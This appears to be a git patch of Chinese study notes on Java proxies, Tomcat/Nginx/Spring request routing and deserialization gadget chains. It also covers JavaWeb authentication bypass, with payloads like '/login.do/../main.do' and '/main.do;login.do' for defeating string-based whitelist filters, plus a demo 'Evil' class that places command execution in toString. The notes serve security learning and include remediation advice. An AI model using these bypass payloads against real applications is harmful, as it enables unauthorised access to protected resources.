在调用后做事 + System.out.println("[LOG] 方法返回: " + result); + return result; + } +} + +// 4) 演示创建代理并调用 +public class DynamicProxyDemo { + public static void main(String[] args) { + GreetingService real = new GreetingServiceImpl(); + + // 创建代理实例(指定类加载器、代理要实现的接口、以及 InvocationHandler) + GreetingService proxy = (GreetingService) Proxy.newProxyInstance( + GreetingService.class.getClassLoader(), + new Class[]{GreetingService.class}, + new LoggingInvocationHandler(real) + ); + + // 调用代理的方法 —> 实际上会进入 LoggingInvocationHandler.invoke(...) + String s = proxy.greet("Alice"); + System.out.println("最终结果: " + s); + } +} +``` + +运行输出(示例): + +``` +lessCopy code[LOG] 调用方法: greet, 参数: [Alice] +[LOG] 方法返回: Hello, Alice +最终结果: Hello, Alice +``` + +--- + +**调用链(call chain)** + +下面从 **整体调用流程(调用链)** 与 **每个步骤的执行逻辑** 两个角度,对你提供的代码进行深入分析。为了让你能清晰看到 *方法从 main → proxy → handler → real object → 返回* 的完整路径,我会以“事件时序图式”方式拆开。 + +--- + +## ✅ 一、整体调用链(从 main 开始) + +调用链如下: + +
cpp
main() + └── proxy.greet("Alice") + └── JDK 动态代理机制触发 InvocationHandler.invoke() + └── LoggingInvocationHandler.invoke(proxy, greet, ["Alice"]) + ├── 前置日志打印 + ├── 调用真实对象方法:method.invoke(target, args) + │ └── GreetingServiceImpl.greet("Alice") + │ └── 返回 "Hello, Alice" + ├── 后置日志打印 + └── 返回 "Hello, Alice" + └── main() 接收到返回值 +
+ + +--- + +## ✅ 二、详细执行逻辑(逐行解析) + +以下按代码执行顺序,拆解整个调用过程。 + +--- + +### **1. main 方法启动** + +
java
GreetingService real = new GreetingServiceImpl(); +
+ + +创建真实对象 `GreetingServiceImpl`,用来作为代理的目标。 +**因为 JDK 动态代理只拦截“对代理对象的接口方法调用”,它本身不具有业务逻辑,因此必须有一个真实对象作为“被代理的目标对象”,由 InvocationHandler 在适当时机调用它来完成真正的业务行为。代理类自己没有真正实现 greet() 的业务逻辑,除非你在 invoke() 里把整个方法逻辑自己写一遍** + +--- + +### **2. 通过 Proxy.newProxyInstance 创建代理对象** + +
java
GreetingService proxy = (GreetingService) Proxy.newProxyInstance( + GreetingService.class.getClassLoader(), + new Class[]{GreetingService.class}, + new LoggingInvocationHandler(real) +); +
+ + +#### 🚩 此行发生三件事: + +--- + +#### **① 生成代理类(JDK 自动生成字节码)** + +JDK 动态代理会在运行时生成一个 **实现 GreetingService 接口** 的代理类(记为 `$Proxy0`)。 + +你永远不会看到它的源码,但它大概长这样: + +
java
public final class $Proxy0 implements GreetingService { + private InvocationHandler h; + + + public $Proxy0(InvocationHandler h) { + this.h = h; + } + + @Override + public String greet(String name) { + return (String) h.invoke(this, GreetingService.class.getMethod("greet", String.class), new Object[]{name}); + } + +} +
+ +#### **② 实例化代理对象 proxy** + +得到 `proxy`,它其实是 `$Proxy0` 的实例。 + +#### **③ 绑定 InvocationHandler** + +`new LoggingInvocationHandler(real)` 意味着 ​**所有方法调用都会被转发到该 handler 的 invoke() 方法**​。 + +--- + +#### **3. 调用代理的方法:proxy.greet("Alice")** + +
java
String s = proxy.greet("Alice"); +
+ + +注意!这里调用的是 **代理对象** 的 `greet`,不是 `GreetingServiceImpl` 的。 + +于是进入代理类 `$Proxy0.greet()`(JDK 生成的代码)。 + +****这里 `greet()` 调用的是 ​**“接口 GreetingService 中声明的 greet 方法”**​, +不是“实现类 GreetingServiceImpl 中的方法”。因此实现的是拦截接口方法调用****** + +--- + +#### **4. $Proxy0.greet() 内部:调用 InvocationHandler.invoke()** + +JDK 动态代理的核心行为: + +
java
h.invoke(this, methodGreet, new Object[]{"Alice"}); +
+ + +即: + +
cpp
→ 调用 LoggingInvocationHandler.invoke() +
+ + +--- + +## ✅ 三、InvocationHandler.invoke() 的完整执行流程 + +
java
@Override +public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + System.out.println("[LOG] 调用方法: " + method.getName() + ", 参数: " + Arrays.toString(args)); + + + Object result = method.invoke(target, args); // 调用真实对象的方法 + + System.out.println("[LOG] 方法返回: " + result); + return result; + +} +
+ +### 步骤: + +--- + +### **① 打印前置日志** + +
less
[LOG] 调用方法: greet, 参数: [Alice] +
+ + +--- + +### **② 通过反射调用真实对象的方法** + +
java
Object result = method.invoke(target, args); +
+ + +即: + +
python
→ 调用 GreetingServiceImpl.greet("Alice") +
+ + +真实对象返回: + +
python
"Hello, Alice" +
+ + +--- + +### **③ 打印后置日志** + +
csharp
[LOG] 方法返回: Hello, Alice +
+ + +--- + +### **④ 将返回值交回给代理(进而回到 main)** + +`invoke` 返回 `"Hello, Alice"`。 + +--- + +## ✅ 四、控制流回到 main + +
java
System.out.println("最终结果: " + s); +
+ + +输出: + +
makefile
最终结果: Hello, Alice +
+ + +至此调用链完整结束。 + +--- + +## 🎯 五、调用链总结(图示) + +
scss
main() + └── proxy.greet("Alice") + └── $Proxy0.greet("Alice") ← JDK 生成 + └── LoggingInvocationHandler.invoke(...) + ├── 日志打印 + ├── 调用真实对象 GreetingServiceImpl.greet() + ├── 后置日志 + └── 返回结果 + └── main() 输出结果 +
+ + +--- + +## 🎉 六、总结要点 + +| 阶段 | 行为 | +| ------------ | ------------------------------------------- | +| 创建代理 | 运行时生成 `$Proxy0` 实现接口 | +| 方法调用 | 所有调用都被转交给 InvocationHandler.invoke | +| invoke 内部 | 可以做 AOP、鉴权、日志、RPC 转发等 | +| 调用真实对象 | 通过反射执行 `method.invoke(target, args)` | + +**多个接口、lambda 写法、以及注意事项** + +1. **实现多个接口**:在 `Proxy.newProxyInstance` 的第二个参数给多个接口类数组即可。 +2. **简洁写法(Java 8 Lambda)**: + +``` +javaCopy codeGreetingService proxy2 = (GreetingService) Proxy.newProxyInstance( + GreetingService.class.getClassLoader(), + new Class[]{GreetingService.class}, + (proxy, method, args) -> { + System.out.println("call " + method.getName()); + // 这里没有真实对象,直接返回示例值 + if (method.getName().equals("greet")) { + return "Hi, " + args[0]; + } + return null; + } +); +``` + +1. **注意:`proxy` 参数不要在 `invoke` 内做 `proxy` 的 `toString()` 或其他反射调用,容易导致无限递归或不可预期的行为。** +2. **性能:** JDK 动态代理使用反射调用,性能一般够用;在高性能场景可以考虑其他方案(字节码生成、AOT、手写代理类等)。 +3. **限制:** 只能代理接口;如果要代理类(没有接口),可以使用 CGLIB / ByteBuddy,它们通过生成子类实现拦截(需要无 final 方法、可访问构造器等)。 +# Listener 与 Filter、AOP 的区别 + +JavaWeb 中还有 Filter(过滤器)、AOP(面向切面编程),三者都能实现 “通用逻辑解耦”,但核心定位不同: + +| 组件 | 核心定位 | 触发时机 | 典型用途 | +| ------------ | --------------------------- | ------------------------------------------------------------ | -------------------------------- | +| **Listener** | 事件驱动(监听对象变化) | 域对象生命周期 / 属性变化时(如应用启动、会话创建) | 资源初始化、在线统计、全局配置 | +| **Filter** | 请求过滤(拦截请求 / 响应) | HTTP 请求到达 Servlet/Controller 前 / 后 | 登录校验、字符编码转换、接口限流 | +| **AOP** | 横切逻辑(环绕方法执行) | 方法执行前 / 后 / 异常时(如 Controller 方法、Service 方法) | 日志记录、事务管理、权限校验 | + +简单总结: + +- Listener:盯 “对象变化”(如应用、会话、请求的创建 / 销毁); +- Filter:盯 “请求流程”(如 HTTP 请求的拦截与处理); +- AOP:盯 “方法执行”(如业务方法的调用过程)。 + +# Tomcat与Spring学习 +## Tomcat和Nginx的区别 +Nginx 和 Tomcat 是 JavaWeb / 分布式架构中最常用的两款服务器,但核心定位完全不同: +Nginx:轻量级高性能的Web 服务器 / 反向代理服务器 / 负载均衡器,核心擅长处理静态资源、转发请求、限流熔断,是架构的 “前端网关”; +Tomcat:JavaEE 规范实现的应用服务器(Servlet 容器),核心擅长运行 Java 动态程序(Servlet、JSP、Spring Boot 应用),是架构的 “后端业务处理器”。 +两者并非竞争关系,而是互补协作—— 实际开发中几乎都是 “Nginx + Tomcat 集群” 的经典架构(Nginx 处理静态请求 + 分发动态请求,Tomcat 专注运行 Java 业务)。 +| 对比维度 | Nginx(Engine X) | Tomcat(Apache Tomcat) | +| -------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | +| **核心定位** | Web 服务器 + 反向代理 + 负载均衡器 | 应用服务器(Servlet/JSP 容器),Java 动态程序运行环境 | +| **处理对象** | 优先处理**静态资源**(HTML、CSS、JS、图片、视频),动态请求仅转发 | 优先处理**动态资源**(Servlet、JSP、Spring Boot 应用),静态资源能力弱 | +| **并发能力** | 极高(万级并发,支持 10 万 + 连接),基于 “异步非阻塞 I/O 模型(epoll)” | 中等(千级并发,默认配置下支持 1000-2000 连接),默认 BIO 模型(可优化为 NIO) | +| **性能特点** | 内存占用低(单机仅占几 MB - 几十 MB),响应快,抗高并发能力强 | 内存占用高(启动即占数百 MB),动态处理效率高,但静态资源处理 overhead 大 | +| **支持协议** | HTTP、HTTPS、TCP/UDP、WebSocket(反向代理时支持) | HTTP、HTTPS、AJP(与 Web 服务器通信协议)、WebSocket(原生支持 Java 应用) | +| **核心功能** | 1. 静态资源托管;2. 反向代理(转发请求到 Tomcat / 其他服务);3. 负载均衡(轮询、加权、IP 哈希);4. 限流、熔断、缓存;5. SSL 终结(HTTPS 卸载) | 1. 运行 Servlet/JSP/JavaEE 应用;2. 管理 Spring Boot 应用的生命周期;3. 支持 JNDI 数据源;4. 内置简单 Web 服务器(仅用于开发 / 测试) | +| **配置方式** | 基于文本配置文件(nginx.conf),简洁灵活,支持热部署(无需重启) | 基于 XML 配置文件(server.xml、web.xml)或注解,配置复杂,热部署有限(需插件支持) | +| **开发语言** | C 语言(底层优化极致,性能优先) | Java 语言(跨平台,兼容 Java 生态) | +| **跨平台支持** | 类 Unix(Linux/macOS)为主,Windows 支持较弱 | 全平台(Linux/macOS/Windows/ 嵌入式),跨平台性好 | +| **适用场景** | 1. 前端静态资源服务器;2. 反向代理(隐藏后端 Tomcat 地址);3. 负载均衡(分发请求到多 Tomcat);4. 限流、HTTPS 卸载 | 1. 运行 Java 动态应用(Spring Boot、SSH 框架项目);2. 开发 / 测试环境的简单部署;3. 需要 JNDI、EJB 等 JavaEE 特性的场景 | +| **部署形式** | 独立进程,通常部署在架构最前端(直接对外暴露端口 80/443) | 独立进程,部署在 Nginx 后端(对内暴露端口 8080/8081,不直接对外) | + +**核心定位:“前端网关” vs “后端业务容器”** +这是两者最根本的区别,决定了它们在架构中的角色: +Nginx:不运行任何业务代码,仅做 “请求的接收、过滤、转发”—— 相当于餐厅的 “前台接待”:引导客人(请求)入座(分发到对应 Tomcat)、直接提供简单服务(静态资源,如茶水)、拒绝无效客人(限流 / 黑名单)。 +Tomcat:专门运行 Java 业务代码 —— 相当于餐厅的 “后厨”:接收前台传递的订单(动态请求),制作菜品(执行业务逻辑、操作数据库),再将结果返回给前台。 + +**两者的配置文件边界** +| 组件 | 读取的配置文件 | 配置文件核心作用 | +| ------ | -------------- | ------------------------------------- | +| Tomcat | web.xml | 初始化 JavaWeb 组件、定义请求处理规则 | +| Nginx | nginx.conf | 处理静态资源、反向代理、负载均衡 | + +### 相互协作 +#### Nginx:前端网关层的 URL 映射(决定请求 “去哪”) +Nginx 负责**全局级、HTTP 层面的 URL 路径映射**,核心目的是 “分流请求”:判断请求是静态资源(直接处理)还是动态请求(转发到 Tomcat),或分发到不同的 Tomcat 集群节点。 +**Nginx 映射的核心场景** +1. **静态资源 URL 映射**:直接将 URL 路径映射到服务器本地文件目录,无需转发到 Tomcat; +2. **反向代理 URL 映射**:将动态请求的 URL 路径转发到 Tomcat(或其他后端服务); +3. **负载均衡路由**:将同一 URL 路径的请求分发到多台 Tomcat 节点; +4. **URL 重写 / 重定向**:修改 URL 路径(如 `/user` → `/api/user`)后再转发。 + +**示例:Nginx 的 URL 映射配置** + +```nginx +server { + listen 80; + server_name xxx.com; + + # 场景1:静态资源映射(Nginx 直接处理,不经过 Tomcat) + location /static/ { + root /opt/web/; # URL: /static/js/app.js → 本地文件: /opt/web/static/js/app.js + expires 7d; + } + + # 场景2:动态请求映射(转发到 Tomcat,Nginx 只做“转发路由”) + location /api/ { + proxy_pass http://tomcat_cluster/; # URL: /api/user/1 → 转发到 Tomcat: http://tomcat_ip:8080/user/1 + proxy_set_header Host $host; + } + + # 场景3:URL 重写(修改路径后转发) + location /user/ { + rewrite ^/user/(.*)$ /api/user/$1 break; # /user/1 → /api/user/1 + proxy_pass http://tomcat_cluster/; + } +} +``` + +**Nginx 映射的特点** + +- 只关心 “URL 路径的前缀 / 规则”,不关心后端如何处理这个请求; +- 基于 HTTP 协议,与 JavaEE 规范无关,无法识别 Servlet/Controller; +- 映射结果是 “请求的转发目标”(本地文件 / Tomcat 地址),而非 “具体的处理类”。 + +#### Tomcat:后端应用层的 URL 映射(决定请求 “由谁处理”) +Tomcat 负责**应用级、Servlet/Controller 层面的 URL 映射**,核心目的是 “匹配处理逻辑”:将 Nginx 转发过来的动态请求 URL,映射到具体的 Java 组件(Servlet、Spring MVC Controller 等)。 + +**Tomcat 映射的核心场景** + +1. **Servlet 映射**:通过 `web.xml` 或 `@WebServlet` 将 URL 路径映射到 Servlet 类; +2. **Spring MVC 映射**:通过 `@RequestMapping`/`@GetMapping` 等注解将 URL 路径映射到 Controller 方法; +3. **JSP 映射**:将 URL 路径映射到 JSP 文件(如 `/index.jsp` → `WEB-INF/index.jsp`)。 + +**示例 1:Tomcat 原生 Servlet 的 URL 映射(web.xml)** + +```xml + + + UserServlet + /user/* + +``` + +**示例 2:Spring MVC 的 URL 映射(注解)** + +```java +// Tomcat 加载 Spring 上下文后,解析注解将 /user/{id} 映射到 getUser 方法 +@RestController +@RequestMapping("/user") +public class UserController { + @GetMapping("/{id}") + public User getUser(@PathVariable Long id) { + return userService.findById(id); + } +} +``` + +**Tomcat 映射的特点** + +- 基于 JavaEE/Servlet 规范,映射结果是 “具体的 Java 处理组件”(Servlet/Controller 方法); +- 仅处理 Nginx 转发过来的动态请求,不关心 URL 是如何到达 Tomcat 的; +- 支持更细粒度的映射(如 `/user/{id}` 匹配路径参数、请求方法(GET/POST)等)。 + +#### 完整请求链路:Nginx → Tomcat 的 URL 映射协作 +以用户访问 `http://xxx.com/api/user/1` 为例,完整的 URL 映射流程: + +1. **Nginx 接收请求**:匹配 `location /api/` 规则,将请求转发到 Tomcat 集群(`http://tomcat_ip:8080/user/1`); + +2. Tomcat 接收请求 + + : + + - 若为原生 Servlet:匹配 `web.xml` 中 `/user/*` 的 Servlet 映射,交给 `UserServlet` 处理; + - 若为 Spring MVC:匹配 `@GetMapping("/user/{id}")`,交给 `UserController.getUser()` 处理; + +3. **结果返回**:Tomcat 将处理结果返回给 Nginx,Nginx 再转发给客户端。 + +## Tomcat 与 Spring +**Tomcat 与 Spring 的 “认知边界”** + +- Tomcat(Servlet 容器)的核心能力:管理 Servlet、Filter、Listener,处理 HTTP 请求,调用 Servlet 的`service()`方法 —— 它**只认识 Servlet 规范的组件**,完全不认识 Spring 的`@Controller`、`ApplicationContext`(Spring 容器)。 +- Spring 容器的核心能力:管理 Bean(Controller、Service、Dao)、依赖注入、AOP—— 它是独立的 “Bean 容器”,但 Web 环境下必须依附 Servlet 容器(Tomcat)才能运行。 + +所以这句话的本质是:**Spring 容器作为 “非 Servlet 规范组件”,需要借助 Servlet 容器的生命周期来创建;Spring 的 Controller 作为 “非 Servlet 组件”,需要借助 Servlet 作为 “桥梁” 才能被 Tomcat 调用**。 +### 通俗理解 + 底层流程 +**把 Tomcat 比作 “商场(Web 应用)”,Spring 容器比作 “店铺”:** + +1. **商场开业(Tomcat 启动 Web 应用)**:Tomcat 会触发`ServletContext`的初始化(对应`ServletContextListener`的`contextInitialized`方法),而`ContextLoaderListener`是 Spring 提供的、实现了`ServletContextListener`的监听器 —— 它会在此时执行`initWebApplicationContext()`方法,创建**根 Spring 容器**,并把容器对象存入`ServletContext`(商场的 “公共储物间”),供整个 Web 应用共享。 +2. **店铺前台上岗(DispatcherServlet 初始化)**:Tomcat 接着加载配置的 Servlet(如`DispatcherServlet`),`DispatcherServlet`初始化时,会从`ServletContext`中找到根容器,创建自己的**MVC 子容器**(父子容器:子容器能访问根容器的 Bean,根容器不能访问子容器的 Controller)。 + +关键配置示例(web.xml): + +```xml + + + org.springframework.web.context.ContextLoaderListener + + + + contextConfigLocation + classpath:applicationContext.xml + + + + + dispatcherServlet + org.springframework.web.servlet.DispatcherServlet + + + contextConfigLocation + classpath:spring-mvc.xml + + + 1 + + + + dispatcherServlet + / + +``` + +### Spring 容器中的 Controller 如何通过 Servlet 调用? + +核心答案:**Tomcat 把所有动态请求转发给 Spring 的核心 Servlet——DispatcherServlet,由 DispatcherServlet 从 Spring 容器中找到对应的 Controller 并调用其方法**。 + +这是一个 “Tomcat → DispatcherServlet → Spring 容器 → Controller” 的链路,完整流程如下(以请求`http://xxx.com/api/user/1`为例): + +**步骤 1:Tomcat 接收请求,转发给 DispatcherServlet** + +Tomcat 根据`web.xml`中`DispatcherServlet`的`url-pattern: /`,将所有动态请求(非静态资源)转发给`DispatcherServlet`(Tomcat 只知道这是一个 Servlet,不知道它和 Spring 的关系)。 + +**步骤 2:DispatcherServlet 查找对应的 Controller** + +`DispatcherServlet`作为 Spring MVC 的 “前端控制器”,会做以下操作: + +1. 从自身的 MVC 容器中获取`HandlerMapping`(Spring 初始化时自动创建,存储 “URL 路径 → Controller 方法” 的映射关系,比如`/api/user/{id}` → `UserController.getUser()`); +2. 根据请求 URL 匹配`HandlerMapping`,找到对应的 Controller Bean 和目标方法(比如`UserController`实例的`getUser(Long id)`方法); +3. 通过`HandlerAdapter`(适配器)调用该 Controller 方法(处理参数绑定、类型转换,比如把 URL 中的`1`转为`Long`类型传入)。 + +**步骤 3:执行 Controller 方法,返回结果** + +Controller 方法执行后,返回`ModelAndView`(或 JSON 数据),`DispatcherServlet`通过`ViewResolver`(视图解析器)处理结果(如渲染 JSP、返回 JSON)。 + +**步骤 4:DispatcherServlet 将结果返回给 Tomcat** + +Tomcat 接收`DispatcherServlet`的响应结果,再转发给客户端(浏览器 / 前端)。 + +**核心流程简图:** + +```plaintext +客户端请求 → Tomcat → DispatcherServlet(Spring核心Servlet) + ↓ + 从Spring容器找HandlerMapping + ↓ + 匹配到Controller + 目标方法 + ↓ + 执行Controller方法 → 获取返回值 + ↓ +DispatcherServlet处理结果 → Tomcat → 响应客户端 +``` + +**关键细节:** + +- Tomcat 全程只和`DispatcherServlet`(Servlet)交互,完全不知道 Spring 容器和 Controller 的存在; +- `DispatcherServlet`是 Spring 和 Tomcat 的 “唯一桥梁”,它既继承了 Servlet(被 Tomcat 识别),又持有 Spring 容器的引用(能调用 Controller); +- Controller 本质是 Spring 容器中的普通 Bean(由 Spring 创建和管理),不是 Servlet—— 它能处理请求,完全是因为`DispatcherServlet`的 “转发调用”。 + +### 核心总结 +1. **Spring 容器的创建**:由 Tomcat(Servlet 容器)触发 Spring 提供的`ContextLoaderListener`(创建根容器,Tomcat 启动 Web 应用时)和`DispatcherServlet`(创建 MVC 容器,DispatcherServlet 初始化时)来创建,本质是 Servlet 容器驱动 Spring 的桥接组件完成容器初始化; +2. **Controller 的调用**:Tomcat 将所有动态请求转发给 Spring 的核心 Servlet(DispatcherServlet),由 DispatcherServlet 从 Spring 容器中找到对应的 Controller Bean 和方法,完成调用并返回结果,最终通过 Tomcat 响应客户端。 + +**类比强化理解** + +- Tomcat = 商场大门(只认 “Servlet 员工”); +- ContextLoaderListener = 商场开业时的 “装修队”,帮 Spring(店铺)完成装修(创建根容器); +- DispatcherServlet = 店铺的 “前台(Servlet)”,承接所有顾客(请求); +- Spring 容器 = 店铺的 “员工管理系统”,管理 Controller(导购)、Service(库管)等员工; +- Controller = 店铺的 “导购”,不直接接触大门(Tomcat),只通过前台(DispatcherServlet)接待顾客。 + +顾客(请求)的路径:大门(Tomcat)→ 前台(DispatcherServlet)→ 员工系统(Spring 容器)→ 导购(Controller)→ 前台 → 大门 → 顾客。 + +# JavawebURL认证绕过 +## 路由解析过程 +URL先进入Filter然后进入路由阶段(容器/框架用于 handler mapping 的 path 计算),最终匹配对应路由的Controller +路由阶段在做资源匹配时会对路径做归一化(处理 .、..)和忽略 ; 及其后面的内容,利用Filter和路由阶段对URL处理差异来绕过Filter + +``` +浏览器 + ↓ +Tomcat(HTTP 解析 + URL 解码) + ↓ +Filter 链 + ↓ +DispatcherServlet + ↓ +HandlerMapping(计算 lookup path) + ↓ +Controller + +``` + +``` +路径归一化发生在: +Filter 之后 +DispatcherServlet 之内 +HandlerMapping 之前 + +``` + +``` +matrix parameter(;)去除发生在: +DispatcherServlet → HandlerMapping → 计算 lookupPath + +``` + +## 绕过 + +鉴权模块用“字符串规则”判断是否需要认证,但后端路由/Servlet 容器用“路径语义规则”决定最终访问哪个资源;两者对同一个 URL 的理解不一致,就会出现绕过。 + +白名单: + +假设unAuthURL为login.do,需要认证的url为main.do,针对不同的函数,使用如下不同的技巧绕过 + +contains(): + +此时可使用..进行绕过,如/login.do/../main.do + +此时可使用;进行绕过,如/main.do;login.do + +indexOf(): + +此时可使用..进行绕过,如/login.do/../main.do + +此时可使用;进行绕过,如/main.do;login.do + +startswith (): + +此时可使用..进行绕过,如/login.do/../main.do + +endswith (): + +此时可使用;进行绕过,如/main.do;login.do + +1)../ 绕过的原理(路径归一化 / canonicalization) +典型绕过:/login.do/../main.do +**鉴权模块(字符串判断)**看到的 path 是: + +以 /login.do 开头 / 或包含 /login.do +于是认为它属于 unAuthURL(无需认证)→ 放行 +路由模块(容器/框架)在做资源匹配时会对路径做归一化(处理 .、..): + +/login.do/../main.do 归一化后等价于 /main.do +最终命中的其实是 需要认证的 main.do +所以绕过成立:鉴权看见“login”,路由最终访问“main”。 + +这个归一化通常发生在:容器计算 servletPath / pathInfo、或者框架计算 handler lookup path 的过程中(总之发生在“真正决定请求映射到哪个控制器/servlet”的阶段)。 + +2); 绕过的原理(Matrix Parameter / Path Parameter) +典型绕过:/main.do;login.do +在 URL path 里,; 后面常被当成 路径参数(matrix parameters / path parameters)。很多容器/框架在做路径匹配时,会忽略 ; 及其后面的内容,以避免路径参数影响路由。 + +**鉴权模块(字符串判断)**看到: + +path 里“包含 login.do” / 或 endsWith “login.do”(取决于你的判断) +于是误判为属于 unAuthURL → 放行 +**路由模块(容器/框架)**用于映射的路径往往会把 ; 后内容去掉: + +/main.do;login.do 在路由匹配时等价于 /main.do +> /login.do/../main.do +> 相当于:进入 login.do再返回上一级目录,再进入 main.do +最终命中需要认证的 main.do +所以绕过成立:鉴权看见“login”字符串,路由只认“main”。 + +; 后面的内容通常在“计算用于映射的 path(lookup path / servletPath)”时被忽略/剔除。 + +3)对应你列的函数:为什么分别能被 ../ 或 ; 绕过 +下面用你给的例子直接解释“为什么它们会误判”。 + +A. contains() +../:/login.do/../main.do +contains("login.do") 为真 → 放行 +路由归一化后是 /main.do → 访问受保护资源 +;:/main.do;login.do +contains("login.do") 为真 → 放行 +路由忽略 ;login.do → 实际访问 /main.do +B. indexOf() +本质和 contains()一样(indexOf(...) != -1 等价于包含判断)。 + +../:/login.do/../main.do +indexOf("login.do") != -1 → 放行 +路由归一化 → /main.do +;:/main.do;login.do +indexOf("login.do") != -1 → 放行 +路由忽略 ;... → /main.do +C. startsWith() +../:/login.do/../main.do +startsWith("/login.do") 为真 → 放行 +路由归一化 → /main.do +注意:startsWith() 对 ; 这种绕过不一定好用,因为字符串开头不变;它主要被 ../ 这种“前半段伪装、后半段归一化后变成目标资源”的方式利用。 + +D. endsWith() +;:/main.do;login.do +字符串结尾是 login.do → endsWith("login.do") 为真 → 放行 +路由忽略 ;login.do → 实际访问 /main.do +endsWith() 对 ../ 一般不敏感(因为结尾还是 main.do),但对 ; 很敏感:攻击者可以把白名单关键字放到末尾当“装饰”。 + +4)一句话总结 +../ 绕过:利用 路径归一化,让“看起来在白名单路径下”的请求,最终归一化成受保护路径。 +; 绕过:利用 matrix/path parameter 解析差异,让鉴权看见白名单字符串,但路由匹配时忽略 ; 后内容,最终访问受保护路径。 +如果你要把这段写进整改报告,最关键的一句是: + +“鉴权逻辑不应基于原始字符串包含/前后缀判断,应基于与框架一致的规范化 path(去除 ; path-parameter、完成 ./.. 归一化)再做匹配,或直接交由 Spring Security 的 requestMatcher 机制处理。” From 4e7d77c6d3214d12cddb9ad0c312f7726a449104 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Tue, 24 Feb 2026 20:38:52 +0800 Subject: [PATCH 32/32] =?UTF-8?q?Delete=200.=E5=BC=80=E5=8F=91=E5=AD=A6?= =?UTF-8?q?=E4=B9=A0/SpringBoot2/=E5=9F=BA=E7=A1=80=E5=85=A5=E9=97=A8/?= =?UTF-8?q?=E5=AD=A6=E4=B9=A0=E6=9D=82=E8=AE=B0.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...46\344\271\240\346\235\202\350\256\260.md" | 1369 ----------------- 1 file changed, 1369 deletions(-) delete mode 100644 "0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" diff --git "a/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" "b/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" deleted file mode 100644 index fa0e133..0000000 --- "a/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" +++ /dev/null @@ -1,1369 +0,0 @@ -# 反序列化学习 -## toString方法和 readObject方法 - -**1. `readObject` 的作用** - -- 这是 **Java 反序列化过程的入口**。 -- 当一个类实现了 `Serializable` 接口,并且定义了一个私有的 `readObject(ObjectInputStream in)` 方法时,Java 反序列化时会**优先调用这个方法**来恢复对象的状态。 -- 攻击者常常在这里构造“入口点”,因为它会在反序列化时被自动触发。 - -👉 换句话说: - -- **漏洞利用链的起点**通常是 `readObject`,因为它能在反序列化的时候执行任意逻辑(比如调用某个危险方法)。 - -**2. `toString` 的作用** - -- 这是对象转为字符串时调用的方法(如 `System.out.println(obj)`)。 -- 本身不会自动在反序列化过程中触发。 -- 但在一些 gadget chain(利用链)里,反序列化后,某个方法(比如 `hashCode`、`equals`、`compareTo`)内部可能会调用 `toString`,于是形成“跳板”来执行任意代码。 - -👉 换句话说: - -- **`toString` 是漏洞链中的“中间节点”**,常用来在链条里继续触发执行。 - -例子 - -**一、背景知识:反序列化漏洞链的本质** - -Java 反序列化漏洞的本质是: -**如果应用程序在反序列化不可信数据时,没有安全限制,攻击者可以构造一个对象图,触发一系列方法调用,最终执行恶意代码。** - -这个调用链的关键点: - -1. **入口点**:反序列化时会调用某些特定方法(比如 `readObject`、`readResolve`、`readExternal`)。 -2. **跳板点**:利用 JDK 或第三方库的对象结构,触发链条继续执行,比如调用 `equals`、`compareTo`、`toString`、`hashCode` 等。 -3. **执行点**:最终能执行命令或恶意逻辑(如 `Runtime.getRuntime().exec()`)。 - -`toString` 作为 **跳板点** 出现的原因: - -- 当容器(`HashMap`、`HashSet`、`TreeMap` 等)执行某些操作(如打印、日志、序列化、反序列化检查)时,会调用内部元素的 `toString()`。 -- 如果攻击者重写 `toString()`,可以在这个点执行任意代码。 - -**二、具体流程(结合示例)** - -假设我们使用 **`HashMap`** 作为利用链的中间节点: - -**1. 攻击者控制对象 `Evil`** - -- 这个类实现了 `Serializable`,所以可以被序列化/反序列化。 -- 攻击者在 `toString()` 中植入恶意代码。 - -``` -javaCopy codeclass Evil implements Serializable { - private String cmd; - - public Evil(String cmd) { - this.cmd = cmd; - } - - @Override - public String toString() { - System.out.println("[*] toString 被调用,执行命令:" + cmd); - // 模拟恶意操作,实际攻击中可能是: - // Runtime.getRuntime().exec(cmd); - return "Evil(cmd=" + cmd + ")"; - } -} -``` - ---- - -**2. 攻击者把 `Evil` 放到 `HashMap`** - -``` -javaCopy codeHashMap map = new HashMap<>(); -map.put(evil, "value"); -``` - -为什么要这么做? - -- **HashMap 的 `toString()` 方法会遍历 key 和 value**,调用它们的 `toString()`。 -- 当 `System.out.println(map)` 或日志框架打印 map 时,会触发 `Evil.toString()`。 - ---- - -**3. 序列化和反序列化** - -``` -javaCopy code// 序列化 -ByteArrayOutputStream bos = new ByteArrayOutputStream(); -ObjectOutputStream oos = new ObjectOutputStream(bos); -oos.writeObject(map); - -// 反序列化 -ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); -ObjectInputStream ois = new ObjectInputStream(bis); -HashMap map2 = (HashMap) ois.readObject(); -``` - -到这里,**反序列化本身还没有执行恶意代码**,因为我们只在 `toString()` 里放了逻辑。 - ---- - -**4. 触发条件** - -一旦应用执行以下操作(很常见): - -``` -javaCopy codeSystem.out.println(map2); -logger.info("Map content: {}", map2); -``` - -`HashMap.toString()` 会这样实现: - -``` -javaCopy codepublic String toString() { - Iterator> i = entrySet().iterator(); - if (! i.hasNext()) - return "{}"; - - StringBuilder sb = new StringBuilder(); - sb.append('{'); - for (;;) { - Map.Entry e = i.next(); - K key = e.getKey(); - V value = e.getValue(); - sb.append(key == this ? "(this Map)" : key); - sb.append('='); - sb.append(value == this ? "(this Map)" : value); - if (! i.hasNext()) - return sb.append('}').toString(); - sb.append(',').append(' '); - } -} -``` - -关键点: - -- `sb.append(key)` → 会调用 `key.toString()`。 -- `sb.append(value)` → 会调用 `value.toString()`。 - -如果 `key` 或 `value` 是 